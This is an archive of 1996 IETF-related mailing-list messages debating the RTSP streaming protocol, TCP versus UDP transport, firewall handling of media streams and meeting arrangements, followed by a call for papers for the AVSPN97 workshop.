From: martind@prognet.com (Martin Dunsmuir)
Subject: Re: Streams BOF II (was Re: Re: RTSP)
Cc: confctrl@ISI.EDU, map@netscape.com
X-Mailer: <PC Eudora Version 2.0.1>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I think the meeting should be open to all comers. If this is a problem for
NTT, we should host it at Netscape. In fact, Netscape might be a better
location, since they are co-authors of RTSP and it would give a great
opportunity
to have their folks on hand.

I presume the "other work" is H.323, can you confirm?

martin

At 02:50 PM 10/18/96 -0700, Jeff Smith wrote:
>>Martin Dunsmuir <martind@prognet.com>:
>>I think it would be a great idea to have anyone interested meet soon
>>in the Bay Area to discuss RTSP.
>
>For all interested parties - I have ten people planning to attend the
>Bay Area meeting to conduct preliminary discussions regarding finding
>common ground between RTSP and other work taking place.  These people
>include the authors of RTSP and the chair of AVT...
>
>As I said in my last post - I really prefer a small, concentrated
>gathering for this meeting.  I don't intend this to be "exclusive" but
>I am going to have to go with the ten members we have now for the
>first meeting.
>
>I will multicast the session (look for announcement in SDR).
>
>Those of you attending the Real Time Web workshop next week in France
>please talk to the guys from Progressive and to Mark Handley - your
>input will make it to the meeting this way.
>
>js
>
>--
> Jeffrey D. Smith     $B!Z%8%'%U%j!<!&%9%_%9![(B
> Nippon Telegraph and Telephone Corporation   
> Software Laboratories Palo Alto	              
> 250 Cambridge Ave., Suite 205			TEL  +1 415 833 3605
> Palo Alto, CA 94306				FAX  +1 415 326 1878
>					 	ISDN +1 415 843 0667
>
> pgp-fingerprint: C1 EE A9 BD B1 E9 2E 9A  03 CF 6B E1 CF C4 D0 0D
> e-mail: sumisu@nttlabs.com
>
>


From majordom@ISI.EDU  Sat Oct 19 13:37:17 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23749>; Sat, 19 Oct 1996 20:37:58 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA23743>; Sat, 19 Oct 1996 20:37:57 -0700
Received: from urchin.mcom.com (h-205-217-237-40.netscape.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28037>; Sat, 19 Oct 1996 20:37:57 -0700
Received: from po5300.mcom.com (living158.mcom.com [205.217.240.158]) by urchin.mcom.com (8.7.5/8.7.3) with SMTP id UAA10669; Sat, 19 Oct 1996 20:37:23 -0700 (PDT)
Message-Id: <32699E6D.1731@netscape.com>
Date: Sat, 19 Oct 1996 20:37:17 -0700
From: Mike Po <map@netscape.com>
Organization: Engineering
X-Mailer: Mozilla 3.0GoldC (Win95; U)
Mime-Version: 1.0
To: Martin Dunsmuir <martind@prognet.com>
Cc: "Jeffrey D. Smith" <sumisu@nttlabs.com>, confctrl@ISI.EDU
Subject: Re: Streams BOF II (was Re: Re: RTSP)
References: <199610200237.AA13952@murrow.prognet.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I would agree with Martin.  All folks who want to come should be able to
attend our first meeting.  We'd be happy to host it at Netscape.  

Regards,

Mike Po
-- 
Michael A. Po			map@netscape.com
Director, LiveMedia		phone:415-937-6988
Netscape Communications Corp.	fax: 415-528-4122
685 East Middlefield Road	pager:415-943-9721 (numeric)
Mountain View, Ca.  94043	pager:800-810-5032 (alphanumeric)


From majordom@ISI.EDU  Sun Oct 20 22:50:28 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04240>; Sun, 20 Oct 1996 11:50:40 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04230>; Sun, 20 Oct 1996 11:50:37 -0700
Received: from www45.inria.fr by venera.isi.edu (5.65c/5.61+local-25)
	id <AA16982>; Sun, 20 Oct 1996 11:50:36 -0700
Received: by www45.inria.fr (8.7.6/8.6.12) id UAA02265; Sun, 20 Oct 1996 20:50:29 +0200 (MET DST)
Message-Id: <199610201850.UAA02265@www45.inria.fr>
To: sumisu@nttlabs.com (Jeffrey D. Smith)
Cc: confctrl@ISI.EDU
Subject: Re: Streams BOF II (was Re: Re: RTSP) 
In-Reply-To: Your message of "Fri, 18 Oct 1996 14:50:33 PDT."
             <199610182150.VAA06805@ornette.nttlabs.com> 
Date: Sun, 20 Oct 1996 20:50:28 +0200
From: Philipp Hoschka <Philipp.Hoschka@sophia.inria.fr>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>Those of you attending the Real Time Web workshop next week in France
>please talk to the guys from Progressive and to Mark Handley - your
>input will make it to the meeting this way.

Note that Rob will give a talk on RTSP at this W3C workshop. 
It will talke place on Friday 25 at 2 MEST, and both
the talk and the discussion will be transmitted on the MBone.
See the announcement in sdr for further details.

-Philipp Hoschka


From majordom@ISI.EDU  Mon Oct 21 09:39:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27979>; Mon, 21 Oct 1996 10:40:09 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA27941>; Mon, 21 Oct 1996 10:40:06 -0700
Received: from seawind.bellcore.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA22888>; Mon, 21 Oct 1996 10:40:05 -0700
Received: (from huitema@localhost) by seawind.bellcore.com (8.6.9/8.6.10) id NAA02948; Mon, 21 Oct 1996 13:39:31 -0400
Date: Mon, 21 Oct 1996 13:39:31 -0400
From: huitema@bellcore.com (Christian Huitema)
Message-Id: <9610211339.ZM2946@seawind.bellcore.com>
In-Reply-To: Rob Lanphier <robla@prognet.com>
        "Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC          Working Group of IETF" (Oct 15, 12:20pm)
References: <2.2.32.19961015192051.0098c128@mail.prognet.com>
X-Mailer: Z-Mail (3.2.0 06sep94)
To: Mark Handley <M.Handley@cs.ucl.ac.uk>, Rob Lanphier <robla@prognet.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC          Working Group of IETF
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

> TCP seems to work reasonably well in our current line of products.  We
> really do need the reliability of TCP (when people hit the "stop"
button,
> they do mean "stop").  The problem with using UDP is that, as Henning
 points
> out, we would eventually be implementing our own version of TCP on top
of UDP.

This is a very common and very false argument. When I say very common, I
speak by experience. This is exactly the reasoning that led to
implementing the border gateway protocol, BGP, on top of TCP. The same
design team, after a few years of experience, decided that the successor
to BGP, IDRP, would run on top of UDP.

Why? Precisely because `when people hit the "stop" button, they do mean
"stop"'. With TCP, when people push the stop button, the connection will
first wait for a complete transmission of the previous message, e.g. those
that say "please go on, I am still listening", then for a credit, before
actually carrying the "stop" message. In periods of congestions, that may
mean several seconds, when you would rather use your ressources to do
something else.

There are many other advantages to UDP, notably the avoidance of all the
restrictions based on connection counts. I don't mean just the kind of
limitations one finds in some versions of Windows NT, I also think of the
server architecture -- just have to listen to one or a few sockets, not
umpteen, means very different performances.

The firewall argument is very bogus. A firewall that does not let UDP
through would not only block multi-media signalling. It would block the
multi-media data as well...

-- 
Christian Huitema

From majordom@ISI.EDU  Mon Oct 21 06:40:51 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08292>; Mon, 21 Oct 1996 13:43:22 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA08281>; Mon, 21 Oct 1996 13:43:21 -0700
Received: from ormail.intel.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA02897>; Mon, 21 Oct 1996 13:43:20 -0700
Received: from ibeam.intel.com (ibeam.jf.intel.com [134.134.208.3]) by ormail.intel.com (8.7.6/8.7.3) with SMTP id NAA06739; Mon, 21 Oct 1996 13:43:17 -0700 (PDT)
Received: from pcrsvp.jf.intel.com by ibeam.intel.com with smtp
	(Smail3.1.28.1 #6) id m0vFRCl-000RpYC; Mon, 21 Oct 96 13:44 PDT
Message-Id: <m0vFRCl-000RpYC@ibeam.intel.com>
X-Sender: mbaugher@ibeam.intel.com
X-Mailer: Windows Eudora Pro Version 2.1.2
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Date: Mon, 21 Oct 1996 13:40:51 -0700
To: huitema@bellcore.com (Christian Huitema),
        Mark Handley <M.Handley@cs.ucl.ac.uk>,
        Rob Lanphier <robla@prognet.com>
From: Mark Baugher <mbaugher@ibeam.jf.intel.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for
  MMUSIC          Working Group of IETF
Cc: confctrl@ISI.EDU
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Christian,

At 01:39 PM 10/21/96 -0400, Christian Huitema wrote:

>The firewall argument is very bogus. A firewall that does not let UDP
>through would not only block multi-media signalling. It would block the
>multi-media data as well...

yes, both are blocked today and we have a problem.  Unicast UDP
streams are thought to be a real threat, probably rightly so.  I 
imagine that one design point would be to allow access for UDP data 
that is associated with a TCP control channel - the TCP connection 
providing the state needed by the firewall to validate the particular 
UDP flow.


Mark

>
>-- 
>Christian Huitema
>
>


From majordom@ISI.EDU  Mon Oct 21 12:57:35 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09358>; Mon, 21 Oct 1996 13:59:07 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09352>; Mon, 21 Oct 1996 13:59:05 -0700
Received: from seawind.bellcore.com by venera.isi.edu (5.65c/5.61+local-25)
	id <AA03802>; Mon, 21 Oct 1996 13:59:04 -0700
Received: (from huitema@localhost) by seawind.bellcore.com (8.6.9/8.6.10) id QAA03012; Mon, 21 Oct 1996 16:57:35 -0400
Date: Mon, 21 Oct 1996 16:57:35 -0400
From: huitema@bellcore.com (Christian Huitema)
Message-Id: <9610211657.ZM3010@seawind.bellcore.com>
In-Reply-To: Mark Baugher <mbaugher@ibeam.jf.intel.com>
        "Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC          Working Group of IETF" (Oct 21,  1:40pm)
References: <m0vFRCl-000RpYC@ibeam.intel.com>
X-Mailer: Z-Mail (3.2.0 06sep94)
To: Mark Baugher <mbaugher@ibeam.jf.intel.com>
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC          Working Group of IETF
Cc: confctrl@ISI.EDU
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

Mark,

There are a few steps that a firewall can do besides "barring UDP" or
"associating UDP and TCP flows (how?)". One of the obvious possibilities
is to let the firewall act as an application relay -- RTP is specifically
designed to allow that. Another possibility is to let the firewall act as
a signalling relay, listening to the call set-up or synchronization
traffic, and have it then selectively open the gates for one or another
RTP stream. Note that such application relays are actually easier to
implement with UDP than TCP...

-- 
Christian Huitema

From majordom@ISI.EDU  Mon Oct 21 22:59:36 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09596>; Mon, 21 Oct 1996 14:02:00 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA09559>; Mon, 21 Oct 1996 14:01:50 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA27556>; Mon, 21 Oct 1996 14:01:49 -0700
Received: from shrew.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16092-0@bells.cs.ucl.ac.uk>; Mon, 21 Oct 1996 21:59:38 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Mark Baugher <mbaugher@ibeam.jf.intel.com>
Cc: huitema@bellcore.com (Christian Huitema), Rob Lanphier <robla@prognet.com>,
        confctrl@ISI.EDU
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Mon, 21 Oct 1996 13:40:51 PDT." <m0vFRCl-000RpYC@ibeam.intel.com>
Date: Mon, 21 Oct 1996 21:59:36 +0100
Message-Id: <4576.845931576@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>At 01:39 PM 10/21/96 -0400, Christian Huitema wrote:
>
>>The firewall argument is very bogus. A firewall that does not let UDP
>>through would not only block multi-media signalling. It would block the
>>multi-media data as well...
>
>yes, both are blocked today and we have a problem.  Unicast UDP
>streams are thought to be a real threat, probably rightly so.  I 
>imagine that one design point would be to allow access for UDP data 
>that is associated with a TCP control channel - the TCP connection 
>providing the state needed by the firewall to validate the particular 
>UDP flow.

Actually what you're talking about here sounds more like a
"conference" or at least "conference control protocol" aware firewall.
If you have firewall awareness at this level, it makes little
difference what protocol the control channel is conveyed over.

I expect in the not too distant future that real-time traffic will be
a very significant proportion of network traffic.  Thus it does make
lots of sense to have firewall awareness of real-time control
protocols.  But it only makes sense if we can rationalise the problem
down to one (or very close to one) control protocol.  This is why it's
so important we do get this right, why we must listen to many
different viewpoints, and why we have to be a little careful not to be
too over-influenced by what todays firewalls can do.

But we shouldn't completely ignore the issues of deployability too...

Mark

From majordom@ISI.EDU  Mon Oct 21 13:34:12 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03313>; Mon, 21 Oct 1996 20:39:21 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03307>; Mon, 21 Oct 1996 20:39:19 -0700
Received: from mailhost.nttlabs.com (ns.nttlabs.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA26556>; Mon, 21 Oct 1996 20:39:18 -0700
Received: from ornette.nttlabs.com by mailhost.nttlabs.com (8.7.6/3.5Wbeta(96/09/06))
	id UAA13752; Mon, 21 Oct 1996 20:38:50 -0700 (PDT)
Received: from coltrane.nttlabs.com (localhost.nttlabs.com [127.0.0.1]) by ornette.nttlabs.com (8.7.5/8.7.3) with ESMTP id DAA09277; Tue, 22 Oct 1996 03:34:12 GMT
Message-Id: <199610220334.DAA09277@ornette.nttlabs.com>
To: Mike Po <map@netscape.com>
Cc: Martin Dunsmuir <martind@prognet.com>, confctrl@ISI.EDU
Subject: Re: Streams BOF II (was Re: Re: RTSP) 
Reply-To: sumisu@nttlabs.com (Jeffrey D. Smith)
In-Reply-To: Your message of "Sat, 19 Oct 1996 20:37:17 PDT"
References: <199610200237.AA13952@murrow.prognet.com>  <32699E6D.1731@netscape.com>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk
	 
Date: Mon, 21 Oct 1996 20:34:12 -0700
From: Jeff Smith <sumisu@nttlabs.com>

The meeting was not necessarily supposed to be a "review" of RTSP, but
a chance for the authors of RTSP and others of us who have been
working on similar topics to have a chance to discuss things.

A "large" open meeting is what I was assuming the IETF was
for... maybe I mispoke by announcing my intentions on the list.

 |>I would agree with Martin.  All folks who want to come should be able to
 |>attend our first meeting.  We'd be happy to host it at Netscape.  
 |>
 |>Regards,
 |>
 |>Mike Po
 |>-- 
 |>Michael A. Po			map@netscape.com
 |>Director, LiveMedia		phone:415-937-6988
 |>Netscape Communications Corp.	fax: 415-528-4122
 |>685 East Middlefield Road	pager:415-943-9721 (numeric)
 |>Mountain View, Ca.  94043	pager:800-810-5032 (alphanumeric)
 |>
 |>


From majordom@ISI.EDU  Tue Oct 22 10:06:32 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10625>; Tue, 22 Oct 1996 01:10:10 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA10617>; Tue, 22 Oct 1996 01:10:08 -0700
Received: from bells.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA06175>; Tue, 22 Oct 1996 01:10:06 -0700
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.28841-0@bells.cs.ucl.ac.uk>; Tue, 22 Oct 1996 09:06:46 +0100
To: Mark Baugher <mbaugher@ibeam.jf.intel.com>
Cc: huitema@bellcore.com (Christian Huitema),
        Mark Handley <M.Handley@cs.ucl.ac.uk>,
        Rob Lanphier <robla@prognet.com>, confctrl@ISI.EDU
Subject: Re: Submission of RTSP V1.0 (Real Time Streaming Protocol) for MMUSIC 
         Working Group of IETF
In-Reply-To: Your message of "Mon, 21 Oct 1996 13:40:51 PDT." <m0vFRCl-000RpYC@ibeam.intel.com>
Date: Tue, 22 Oct 1996 09:06:32 +0100
Message-Id: <812.845971592@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk



 >yes, both are blocked today and we have a problem.  Unicast UDP
 >streams are thought to be a real threat, probably rightly so.  I 
 >imagine that one design point would be to allow access for UDP data 
 >that is associated with a TCP control channel - the TCP connection 
 >providing the state needed by the firewall to validate the particular 
 >UDP flow.
 
right - the existence of secure state creation in firewalls for TCP
and use to validate UDP is used as the baseline argument for re-use of
TCP

but if we define any kind of workable remote control protocol mapping
on to UDP, it is creating state at the server and shoudl do so in some
sort of relaible way - getting the ISN selection type trust that you get 
in TCP into such a protocol would not be hard....and then we could use it for
firewalls too....

or we could mandate for a proper secure design in the first plaec and
avoid the requirement (i.e. make the actual application level
control protocol trustworthy enough that people always let it through
their firewalls anyhow......though i guess this is hard since if it is
UDP based, it can always be used as a denial of service attack on
someones NFS server......maybe we could use this to pursuadew people
to run secure TCP based NFS and do the same with other sensitive
UDP based apps...:-)

 jon


From majordom@ISI.EDU  Tue Oct 22 17:03:20 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15639>; Tue, 22 Oct 1996 06:09:10 -0700
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA15632>; Tue, 22 Oct 1996 06:09:03 -0700
Received: from sunset.ma.huji.ac.il by venera.isi.edu (5.65c/5.61+local-25)
	id <AA10016>; Tue, 22 Oct 1996 06:07:36 -0700
Received: (from petrack@localhost) by sunset.ma.huji.ac.il (8.6.11/8.6.10) id PAA27341 for confctrl@isi.edu; Tue, 22 Oct 1996 15:03:20 +0200
Date: Tue, 22 Oct 1996 15:03:20 +0200
From: Scott Petrack <petrack@math.huji.ac.il>
Message-Id: <199610221303.PAA27341@sunset.ma.huji.ac.il>
To: confctrl@isi.edu
Subject: scenarios for discussion at streams BOF to test protocol
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

I would very much like to come to the StreamsControl BOF II, but I have just
begun a new job and am very far away. I would like to offer a few 
scenarios that I hope will illustrate my concerns. Perhaps you could
discuss them at the meeting.

There seems to some suggestion that RTSP has one scope, 
and perhaps Jeff Smith's protocol has another. My
basic concern is that these "scopes" overlap so much as to be
indistinguishable. I think that it is very possible to have a 
single protocol, and to say that one can always implement a subset
of the protocol if that's all that one needs. Not every client of
a protocol implements the full protocol.

1. Retrieving or leaving voicemail (or MM mail) from within
an IP phone application. More generally, switching in and out 
between some IVR system and an IP phone application. Also,
IP phone calls where one of the parties is an automated attendant.

	If the "streaming model" has one control protocol and the 
	"telephony model" has another, is it intended that a telephone
	client will have to implement two separate protocols?

	The differences between "streaming" and "collaboration"
	(I prefer this to "telephony") is that the requirements for 
	what delay and jitter are tolerable are different, and that you
	can perform some extra manipulations when streaming (e.g. fast forward).
	I don't see how this should affect the control protocol.

2. Listening to a streaming broadcast where the stored RTP streams 
are on physically different machines.

	Suppose I have one machine with video streams stored on it and
another machine with the sound tracks stored on it (perhaps because
for each video I have the sound track in 50 languages). I would like
to just send stream control info to some multicast group and have
the two servers listen. I would get much worse service if I
need to have two separate control channels (for example, when I
press fast forward).

	I think that this is what David called "many-to-one."

3. Many people, located in different places, all listening
to a single RealAudio broadcast at the same time, and discussing it 
together. 

	(How we "discuss together" isn't really relevant here. Let's
	say that we use vat or whatever. The important thing is the scenario
	that we are "watching the broadcast together.")

	The idea is that "I want to watch some TV with my friends,"
	except that my friends may be in a few different locations. Just like
	in real-life, let's say that only one person can control the stream
	at a time, but that the control might pass from person to person
	over time (as I fight with my friends for the remote control ;-)).

	This is trivial to do if my friends and I and the RealAudio server
	all share a multicast group. We will do whatever standard is available
	to ensure that only one person can send control info at a time. (e.g.SCCP)

	It seems hard to do if each friend needs to have his own control
	channel. 

	I believe that this is David's one-to-many scenario.

4. It's perfectly natural to combine 2 and 3: lots of people watching
together, and the stored RTP streams are spread accross multiple
machines. 

	I might even want to watch a film with my Japanese friends,
	and get the English audio stream while they get the Japanese one.
	But I'd like the control channel to be shared so that we can 
	be certain that we are seeing the same thing, and can pass the control
	around. 

There are many other very natural scenarios which combine 'streaming'
and 'collaboration', and which combine one/many to one/many control.	
I can definitely see the need for a simple lightweight playback
standard, but I would rather see this realized as a subset of a 
control protocol for RTP streams. And I think that the distinctions
between collaboration/telephony and streaming don't imply that there should
be different protocols - I'd like to use SxP for call setup, something
(SCCP?) for conference policy, and some not yet determined stream control
protocol for stream control. I'd like that to run use RTCP for transport,
so that it could take advantage of things like CNAMEs. Of course, many
atoms of this protocol are exactly what are in RTSP.

Scott


From majordom@ISI.EDU  Tue Oct 22 15:52:31 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16703>; Tue, 22 Oct 1996 06:52:55 -0700
Received: from quark.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA16692>; Tue, 22 Oct 1996 06:52:47 -0700
Received: from haig.cs.ucl.ac.uk by quark.isi.edu (5.65c/5.61+local-23)
	id <AA07495>; Tue, 22 Oct 1996 06:52:43 -0700
Received: from shrew.cs.ucl.ac.uk by haig.cs.ucl.ac.uk with local SMTP 
          id <g.24061-0@haig.cs.ucl.ac.uk>; Tue, 22 Oct 1996 14:52:35 +0100
From: Mark Handley <M.Handley@cs.ucl.ac.uk>
X-Organisation: University College London, CS Dept.
X-Phone: +44 171 419 3666
To: Scott Petrack <petrack@math.huji.ac.il>
Cc: confctrl@ISI.EDU
Subject: Re: scenarios for discussion at streams BOF to test protocol
In-Reply-To: Your message of "Tue, 22 Oct 1996 15:03:20 +0200." <199610221303.PAA27341@sunset.ma.huji.ac.il>
Date: Tue, 22 Oct 1996 14:52:31 +0100
Message-Id: <916.845992351@cs.ucl.ac.uk>
Sender: owner-confctrl@ISI.EDU
Precedence: bulk


>There seems to some suggestion that RTSP has one scope, 
>and perhaps Jeff Smith's protocol has another. My
>basic concern is that these "scopes" overlap so much as to be
>indistinguishable. I think that it is very possible to have a 
>single protocol, and to say that one can always implement a subset
>of the protocol if that's all that one needs. Not every client of
>a protocol implements the full protocol.

I very much agree with this sentiment.

>There are many other very natural scenarios which combine 'streaming'
>and 'collaboration', and which combine one/many to one/many control.	
>I can definitely see the need for a simple lightweight playback
>standard, but I would rather see this realized as a subset of a 
>control protocol for RTP streams. And I think that the distinctions
>between collaboration/telephony and streaming don't imply that there should
>be different protocols - I'd like to use SxP for call setup, something
>(SCCP?) for conference policy, and some not yet determined stream control
>protocol for stream control. 

This was pretty much what was discussed at the Streams BOF in Montreal.

I see RTSP as being a potentially good basis for that stream control
protocol, but it would be necessary to extend its scope to do what
many of us require.  At UCL, we have a multimedia server which
(remotely) records and plays back Mbone sessions, and we're looking
for a control protocol to drive this - both for recording and
playback.  Playback would often be into a pre-existing Mbone session,
hence the use of SIP to tell the server about the session.

There's a huge amount in common between this, what Jeff's proposing
and RTSP.

>I'd like that to run use RTCP for transport,
>so that it could take advantage of things like CNAMEs. 

I'd prefer it to use RTP for transport because I don't like the way
RTCP is associated with a single media stream.  An additional
RTP-based control stream seems to have many of the right properties,
whilst maintaining good separation between session stream control and
media stream control.

>Of course, many atoms of this protocol are exactly what are in RTSP.

Agreed.

Mark

From majordom@ISI.EDU  Tue Oct 29 13:32:48 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03246>; Tue, 29 Oct 1996 15:36:18 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA03240>; Tue, 29 Oct 1996 15:36:16 -0800
Received: from ns.att.com (ns.research.att.com) by venera.isi.edu (5.65c/5.61+local-25)
	id <AA28342>; Tue, 29 Oct 1996 15:36:14 -0800
Received: from research.att.com by ns; Tue Oct 29 18:35:13 EST 1996
Received: from learnx.research.att.com by research; Tue Oct 29 18:33:24 EST 1996
Received: from march (march.research.att.com [135.16.210.57]) by learnx.research.att.com (8.7.5/8.7.3) with SMTP id SAA01877; Tue, 29 Oct 1996 18:32:48 -0500 (EST)
Message-Id: <32769420.284797A9@research.att.com>
Date: Tue, 29 Oct 1996 18:32:48 -0500
From: "M. Reha Civanlar" <civanlar@research.att.com>
Organization: AT&T Research
X-Mailer: Mozilla 3.0Gold (X11; I; SunOS 4.1.3 sun4m)
Mime-Version: 1.0
To: rem-conf@es.net, confctrl@isi.edu, issll@mercury.lcs.mit.edu,
        int-serv@isi.edu
Subject: 1997 Int. Workshop on Audio-Visual Services over Packet Networks (formerly Packet Video Workshop)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@ISI.EDU
Precedence: bulk

FIRST CALL FOR PAPERS
1997 International Workshop on Audio-Visual Services over Packet
Networks (AVSPN) (Formerly the International Workshop on Packet Video)

15-16 September 1997
Aberdeen, Scotland, UK

Sponsored by the Multimedia Systems and Applications Technical
Committee of the IEEE Circuits and Systems Society

CONTACT: avspn@eee.rgu.ac.uk, http://www.eee.rgu.ac.uk/AVSPN/

INTRODUCTION

For the past decade, the series of seven International Workshops on
Packet Video have provided the leading forum for discussion of the
field of video transport over packet networks. This is an important
and rapidly developing area and in recognition of this the Workshop
will be renamed in 1997.

The 1997 International Workshop on Audio-Visual Services over Packet
Networks (AVSPN) will be held in Aberdeen, Scotland in the week
following the 1997 Picture Coding Symposium in Berlin, Germany.
AVSPN97 aims to bring together experts in all aspects of audio/visual
communications for packet-based networks. With delivery of multimedia
over the Internet and ATM now a reality, the topics addressed at the
Workshop are extremely important to future developments in this area.
If you are involved or interested in this field, whether from
industry, research, academia or commerce, you are invited to
participate in AVSPN97.

The venue for AVSPN97 is the world-class Aberdeen Exhibition and
Conference Centre. Aberdeen is a vibrant city on the Scottish coast,
surrounded by the Highlands of Scotland. Aberdeen and the Scottish
countryside offer many opportunities for recreation and sightseeing
including magnificent scenery, historic castles, world-famous golf
courses and the only Malt Whisky Trail in the world ! Opportunities to
sample the local Scottish culture and to sight- see will be included
in the programme of activities for AVSPN97. Aberdeen is well-served
with air links to several major European cities. CALL FOR PAPERS

The Workshop will run as a single stream of oral and poster
presentations over two days. Prospective authors are invited to submit
for review 5 COPIES of a 1500-2000 word abstract of their paper.

Areas of interest include, but are not limited to: 

I. APPLICATIONS & SERVICES
o    Architectures and Systems
o    Software  
o    Wireless and Cellular Video

II. CODING & COMPRESSION
o    Layered Coding Techniques
o    Very Low Bitrate Packet Schemes
o    Error Impact and Concealment
o    Novel A/V Coding Techniques for Packet Networks
o    Compressed Domain Processing for Packet Network Applications

III. NETWORK PERFORMANCE
o    Performance Statistics for Modelling
o    A/V Traffic Estimation and Shaping
o    Congestion Monitoring and Control

IV. A/V TRANSPORT & OTHER PROTOCOLS
o    A/V transport over ATM Networks
o    A/V transport over the Internet
o    Quality of service
o    Resource reservations
o    Privacy and Security Aspects.

V.   HUMAN FACTORS
o    Quality metrics and measurements
o    Multimedia interactions over packet networks

DEADLINES FOR SUBMISSIONS:

   April 4, 1997        Submit 5 copies of 1500 to 2000-word abstracts
to
   the address below May 30, 1997         Notice of acceptance July
   11, 1997     Submit camera-ready manuscript

SUBMIT TO:

AVSPN97
c/o Iain Richardson
The Robert Gordon University
Schoolhill
Aberdeen AB10 1FR
United Kingdom

CONTACT DETAILS:

For any further information or to receive regular updates please
contact Iain Richardson at the address above or at: 
Telephone (+44) 1224 262400, Fax (+44) 1224 262444 
Email avspn@eee.rgu.ac.uk

An up-to-date Call for Proposals together with further information on
AVSPN97 can be found at: http://www.eee.rgu.ac.uk/AVSPN/

GENERAL CHAIR: Mohammed Ghanbari, University of Essex, UK

TECHNICAL CHAIR: Iain Richardson, Robert Gordon University, UK

STEERING COMMITTEE MEMBERS:

John Adams British Telecom Labs, UK
Dimitris Anastassiou Columbia University, USA
John Arnold UNSW, Australia
Michal Biggar Telstra, Australia 
Reha Civanlar AT&T Labs - Research, USA
Bernd Girod University of Erlangen, Germany
Gunnar Karlsson SICS, Sweden
Ming Liu HKUST, Hong Kong
Geoff Morrison British Telecom Labs, UK
Don Pearson University of Essex, UK
Amy  Reibman AT&T Labs - Research, USA
Ralf  Schaefer HHI, Germany
Bing Sheu University of Southern California, USA
Mischa Schwartz University of Columbia , USA
Ali Tabatabai Tektronix, USA
Martin Vetterli EPFL, Switzerland
Hiroshi Yasuda NTT, Japan
Yasuhiko Yasuda Wasada University, Japan


--------------------------------------------------------
International Workshop on Audio-Visual Services over Packet Networks
AVSPN97
15-16 September 1997
Email avspn@eee.rgu.ac.uk
Web http://www.eee.rgu.ac.uk/avspn/
Contact Iain E G Richardson
School of Electronic and Electrical Engineering
The Robert Gordon University
Aberdeen, UK
Tel +44 1224 262400
Fax +44 1224 262444
--------------------------------------------------------


-- 
M. Reha Civanlar
AT&T Labs-Research
101 Crawfords Crnr. Rd., 4C520
Holmdel, NJ 07733-3030
Ph:  (908) 949 6705
Fax: (908) 949 3697

From majordom@ISI.EDU  Tue Oct 29 07:55:17 1996
Received: by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04847>; Tue, 29 Oct 1996 16:04:01 -0800
Received: from venera.isi.edu by zephyr.isi.edu (5.65c/5.61+local-23)
	id <AA04832>; Tue, 29 Oct 1996 16:03:59 -0800
